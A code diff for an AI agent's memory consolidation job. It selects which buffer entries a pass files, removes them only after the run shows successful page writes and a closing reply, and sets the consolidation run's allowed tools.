479
+ );
480
+ if (pass.length === 0) {
481
+ log.info(
482
+ { cutoff, bufferEntries: snapshot.length },
483
+ "consolidation skipped: no buffer entry is eligible this pass (all stamped at or after the cutoff, or still being appended)",
484
+ );
485
+ return { kind: "nothing_eligible", cutoff, deferredEntries };
486
+ }
487
+
441
488
  // Step 4: hand off to the centralized background-job runner. The runner
442
489
  // bootstraps the conversation, drives `processMessage`, applies the
443
490
  // timeout policy, classifies errors, and — because we opt out via
@@ -493,6 +540,7 @@ export async function memoryV2ConsolidateJob(
493
540
  {
494
541
  includeCorePagesSection: memoryV3Live,
495
542
  articleShape: memoryV3Live ? "v3" : "v2",
543
+ bufferEntries: joinBufferEntries(pass),
496
544
  parseFailures,
497
545
  danglingLinks,
498
546
  overlongSections,
@@ -544,17 +592,76 @@ export async function memoryV2ConsolidateJob(
544
592
  : { kind: "run_failed" };
545
593
  }
546
594
 
547
- // Step 5: verify the run drained the buffer. `runResult.ok` only means
548
- // the background run completed the trim itself is delegated to the
549
- // agent, and nothing above checks that it happened. A run that completes
550
- // without shrinking the buffer leaves the scheduler's size trigger armed
551
- // (it re-fires while the buffer stays over threshold), so enqueuing
552
- // follow-ups here would fan out one reembed per re-fire for pages that
553
- // never changed. Entries arriving during the run can inflate the
554
- // after-count into a false "no progress"; that is benign the next
555
- // progressing run enqueues the same follow-ups.
556
- const bufferLinesAfter = countBufferLines(bufferPath);
557
- const noProgress = bufferLinesAfter >= bufferLinesBefore;
595
+ // Step 5: consume the pass's entries, gated on evidence. `runResult.ok`
596
+ // only means the background run completed. Before removing anything the
597
+ // job requires two things of the run's persisted messages: at least one
598
+ // page-writing tool call whose result is not an error (a run that
599
+ // answered in prose, or whose writes all failed, filed nothing), and a
600
+ // closing reply in the agent's own words as the run's final row, with
601
+ // no tool call on it (a run that wrote a page, say a repair-step fix,
602
+ // and then stopped mid-work has not filed its pass, and narration on
603
+ // the row that called the tool is not a conclusion; the prompt mandates
604
+ // the pass summary, so its absence is the run ending early). Either missing, and
605
+ // consuming would delete entries unfiled. A skipped run never invoked
606
+ // the agent, so it consumes nothing either. With both, the consume
607
+ // removes exactly the pass's entries and leaves every other entry
608
+ // (deferred past the cap, or appended during the run) in place.
609
+ let consumed: ConsumeBufferEntriesResult | null = null;
610
+ let evidence: RunEvidence = {
611
+ durableWrites: 0,
612
+ shellCalls: 0,
613
+ concluded: false,
614
+ };
615
+ if (runResult.skipReason === undefined) {
616
+ evidence = await readRunEvidence(runResult.conversationId);
617
+ if (evidence.durableWrites > 0 && evidence.concluded) {
618
+ try {
619
+ consumed = await consumeBufferEntries(bufferPath, pass);
620
+ } catch (err) {
621
+ // Thrown only before the rename commits, so the buffer still holds
622
+ // the pass.
623
+ log.error(
624
+ { err, conversationId: runResult.conversationId },
625
+ "consolidation: buffer consume failed before rewriting; entries left for the next pass",
626
+ );
627
+ }
628
+ }
629
+ }
630
+ const noProgress = consumed === null;
631
+ if (consumed !== null && consumed.lateAppendDrainFailed) {
632
+ log.error(
633
+ { conversationId: runResult.conversationId },
634
+ "consolidation: the replaced buffer inode could not be read after the rewrite; any entry appended during it is in the daily archive only",
635
+ );
636
+ }
637
+ if (consumed !== null && consumed.unrecoveredLateAppendBytes > 0) {
638
+ // The pass is consumed (the rename committed) but bytes an appender
639
+ // landed on the replaced inode could not be copied back. Those
640
+ // entries are still in memory/archive/<date>.md, written by the same
641
+ // append that wrote them to the buffer.
642
+ log.error(
643
+ {
644
+ conversationId: runResult.conversationId,
645
+ unrecoveredLateAppendBytes: consumed.unrecoveredLateAppendBytes,
646
+ },
647
+ "consolidation: entries appended during the buffer rewrite could not be copied back into buffer.md; they remain in the daily archive only",
648
+ );
649
+ }
650
+ if (consumed !== null && consumed.alreadyAbsent > 0) {
651
+ // Only appenders are expected to touch the buffer during a run. An
652
+ // entry the job handed the run but cannot find afterwards was removed
653
+ // by something else, most likely a customized prompt that still
654
+ // rewrites `memory/buffer.md`; that rewrite carries the stale-read
655
+ // hazard this job exists to avoid.
656
+ log.warn(
657
+ {
658
+ conversationId: runResult.conversationId,
659
+ alreadyAbsent: consumed.alreadyAbsent,
660
+ removed: consumed.removed,
661
+ },
662
+ "consolidation: some of this pass's entries were already gone from buffer.md; the agent must not rewrite the buffer",
663
+ );
664
+ }
558
665
 
559
666
  // The agent's file-tool writes invalidate the page index, so this read
560
667
  // sees the post-run corpus.
@@ -581,10 +688,15 @@ export async function memoryV2ConsolidateJob(
581
688
  {
582
689
  conversationId: runResult.conversationId,
583
690
  cutoff,
584
- bufferLinesBefore,
585
- bufferLinesAfter,
691
+ passEntries: pass.length,
692
+ durableWrites: evidence.durableWrites,
693
+ shellCalls: evidence.shellCalls,
694
+ concluded: evidence.concluded,
695
+ skipReason: runResult.skipReason,
586
696
  },
587
- "consolidation run completed without draining the buffer; follow-ups skipped",
697
+ evidence.durableWrites === 0 && evidence.shellCalls > 0
698
+ ? "consolidation run wrote no pages through the file tools (it used the shell); buffer left intact, follow-ups skipped"
699
+ : "consolidation run completed without a verified page write and a closing reply; buffer left intact, follow-ups skipped",
588
700
  );
589
701
  return {
590
702
  kind: "invoked",
@@ -592,6 +704,7 @@ export async function memoryV2ConsolidateJob(
592
704
  cutoff,
593
705
  deferredEntries,
594
706
  followUpJobIds: [],
707
+ consumedEntries: 0,
595
708
  noProgress: true,
596
709
  danglingLinks: danglingAfter,
597
710
  };
@@ -633,6 +746,7 @@ export async function memoryV2ConsolidateJob(
633
746
  {
634
747
  conversationId: runResult.conversationId,
635
748
  cutoff,
749
+ consumedEntries: pass.length,
636
750
  deferredEntries,
637
751
  followUpJobIds,
638
752
  },
@@ -644,6 +758,7 @@ export async function memoryV2ConsolidateJob(
644
758
  cutoff,
645
759
  deferredEntries,
646
760
  followUpJobIds,
761
+ consumedEntries: pass.length,
647
762
  noProgress: false,
648
763
  danglingLinks: danglingAfter,
649
764
  };
@@ -702,20 +817,126 @@ function readBufferContent(bufferPath: string): string {
702
817
  }
703
818
 
704
819
  /**
705
- * Extract the bracketed timestamp from a `buffer.md` entry line
706
- * (`- [Mon D, h:mm AM/PM] …`, see {@link formatRememberEntry}). Returned
707
- * verbatim so it can serve directly as a consolidation cutoff: both sides of
708
- * the agent's "timestamp >= cutoff" comparison then share the exact
709
- * {@link formatBufferTimestamp} shape.
820
+ * The entries this pass files: the snapshot's leading entries up to (not
821
+ * including) the first one stamped with the cutoff minute. In an append-only
822
+ * buffer that is exactly the set the prompt describes as "timestamp <
823
+ * cutoff", but chosen by position, so the job and the prompt name the same
824
+ * entries whatever the model makes of the dates. A same-minute pull-back
825
+ * (the chunking cutoff) works the same way: entries sharing the over-cap
826
+ * entry's minute are deferred with it.
710
827
  *
711
- * Recognition is delegated to the shared matcher, so a remembered fact's
712
- * continuation lines never register as entries. That matters here beyond
713
- * tidiness: counting a fact's `- [ ] …` checklist lines or an indented
714
- * entry-shaped body line as entries would inflate the per-run budget, or hand
715
- * the agent a cutoff drawn from the middle of a fact.
828
+ * Prose before the first entry opening (a hand-written buffer) is filed too,
829
+ * when it holds any text; otherwise the buffer could never drain.
830
+ *
831
+ * A snapshot that caught an append mid-write (`snapshotIsComplete` false,
832
+ * see {@link snapshotIsComplete}) has an incomplete last entry, which is
833
+ * left for the next pass rather than filed and removed in a truncated form.
834
+ */
835
+ function selectPassEntries(
836
+ snapshot: readonly BufferEntryLines[],
837
+ cutoff: string,
838
+ snapshotIsComplete: boolean,
839
+ ): BufferEntryLines[] {
840
+ const pass: BufferEntryLines[] = [];
841
+ for (const entry of snapshot) {
842
+ if (entry.start === null) {
843
+ if (entry.lines.some((line) => line.trim().length > 0)) {
844
+ pass.push(entry);
845
+ }
846
+ continue;
847
+ }
848
+ if (entry.start.timestamp === cutoff) {
849
+ break;
850
+ }
851
+ pass.push(entry);
852
+ }
853
+ const last = pass[pass.length - 1];
854
+ if (
855
+ last !== undefined &&
856
+ last === snapshot[snapshot.length - 1] &&
857
+ !snapshotIsComplete
858
+ ) {
859
+ pass.pop();
860
+ }
861
+ return pass;
862
+ }
863
+
864
+ /**
865
+ * How long an unterminated snapshot is given to settle before it is read
866
+ * again. An in-flight append completes within microseconds; a re-read that
867
+ * still returns the same bytes after this is a stable file.
868
+ */
869
+ const UNTERMINATED_SNAPSHOT_SETTLE_MS = 100;
870
+
871
+ /**
872
+ * Whether the snapshot ends on a complete entry. An append is one write
873
+ * ending in a newline, so content that ends in one is complete. Content
874
+ * that does not is either an append caught mid-write or a buffer whose last
875
+ * rewrite left no terminator (an agent's `file_write` under an older prompt,
876
+ * a hand edit): a persisted shape that must keep working. The two are told
877
+ * apart by time: after a short settle the file is read again, and identical
878
+ * bytes mean nothing was mid-write, so the last entry is complete and may be
879
+ * filed. Grown or changed bytes mean an append was in flight, and the
880
+ * snapshot's last entry waits for the next pass. Consuming rewrites the
881
+ * buffer newline-terminated, so the unterminated shape does not recur.
716
882
  */
717
- function extractBufferEntryTimestamp(line: string): string | null {
718
- return matchBufferEntryStart(line)?.timestamp ?? null;
883
+ async function snapshotIsComplete(
884
+ bufferPath: string,
885
+ content: string,
886
+ ): Promise<boolean> {
887
+ if (content.endsWith("\n")) {
888
+ return true;
889
+ }
890
+ await new Promise((resolve) =>
891
+ setTimeout(resolve, UNTERMINATED_SNAPSHOT_SETTLE_MS),
892
+ );
893
+ return readBufferContent(bufferPath) === content;
894
+ }
895
+
896
+ interface RunEvidence {
897
+ /** Page-writing tool calls whose execution verifiably succeeded. */
898
+ durableWrites: number;
899
+ /**
900
+ * Shell calls the run made, successful or not. Never evidence of filing
901
+ * (a shell call carries no record of what it did); reported so a run
902
+ * that wrote its pages through the shell is diagnosable from the log.
903
+ */
904
+ shellCalls: number;
905
+ /**
906
+ * The run's final row is an assistant reply in its own words, with no
907
+ * tool call on it: the shape of a run the model ended itself.
908
+ */
909
+ concluded: boolean;
910
+ }
911
+
912
+ /**
913
+ * What the run's conversation proves it did: page-writing tool calls with
914
+ * a matching non-error `tool_result`, and whether the run ended by replying
915
+ * (the pass summary) rather than stopping mid-tool-loop. A consolidation
916
+ * conversation is bootstrapped fresh per run, so every message in it is
917
+ * the run's own. A load failure reports nothing: the consume gate then
918
+ * fails closed and the buffer waits for the next pass.
919
+ */
920
+ async function readRunEvidence(conversationId: string): Promise<RunEvidence> {
921
+ let messages: Awaited<ReturnType<typeof getMessages>>;
922
+ try {
923
+ messages = await getMessages(conversationId);
924
+ } catch (err) {
925
+ log.warn(
926
+ { err, conversationId },
927
+ "consolidation: failed to load the run's messages; treating the run as having filed nothing",
928
+ );
929
+ return { durableWrites: 0, shellCalls: 0, concluded: false };
930
+ }
931
+ return {
932
+ durableWrites: countDurableToolUses(
933
+ messages,
934
+ CONSOLIDATION_DURABLE_TOOLS,
935
+ collectSuccessfulToolResultIds(messages),
936
+ ),
937
+ shellCalls: countDurableToolUses(messages, SHELL_TOOLS, null),
938
+ concluded: endsWithTextReply(messages),
939
+ };
719
940
  }
720
941
 
721
942
  /**
@@ -0,0 +1,34 @@
1
+ /**
2
+ * Tool surface the memory consolidation run is wire-scoped to.
3
+ *
4
+ * Consolidation is a local memory-file reorganization pass: it reads
5
+ * `buffer.md` and the existing pages, writes and edits concept pages, rewrites
6
+ * recent/essentials/threads, and trims the buffer.
7
+ *
8
+ * `bash` carries the corpus-wide inspection the pass leans on: slug and title
9
+ * greps before spawning a page, status-marker counts, size checks against the
10
+ * cap-bound files, frontmatter peeks across a batch of slugs. The run is
11
+ * guardian-trust and non-interactive, so the permission checker's autonomous
12
+ * threshold, not this list, decides which shell commands execute unattended.
13
+ *
14
+ * `delete_memory_page` retires merged, renamed, or dead pages. Unattended `rm`
15
+ * is denied unless the autonomous threshold is Full access, so this slug-scoped
16
+ * tool is the delete path everywhere else. It is allowlist-only (see
17
+ * `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here is what surfaces it.
18
+ *
19
+ * Network egress and host-proxy tools (`web_fetch`, `web_search`,
20
+ * `network_request`, `host_*`) are excluded: the pass has no use for them.
21
+ *
22
+ * Every name here must resolve onto the wire for a background conversation.
23
+ * `SUBAGENT_ONLY_TOOL_NAMES` (`file_list`, `code_search`) are filtered off
24
+ * before this allowlist applies, so listing one is a silent no-op. The wire
25
+ * resolution is asserted in `daemon/__tests__/conversation-tool-setup.test.ts`.
26
+ */
27
+ export const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
28
+ "file_read",
29
+ "file_write",
30
+ "file_edit",
31
+ "bash",
32
+ "delete_memory_page",
33
+ "recall",
34
+ ];
@@ -19,7 +19,8 @@
19
19
  * concept pages or seeded skill entries change.
20
20
  */
21
21
 
22
- import { safeStringSlice } from "../host-utils.js";
22
+ import { safeStringSlice } from "@vellumai/plugin-api";
23
+
23
24
  import { getLogger } from "../logging.js";
24
25
  import {
25
26
  CLI_COMMAND_SLUG_PREFIX,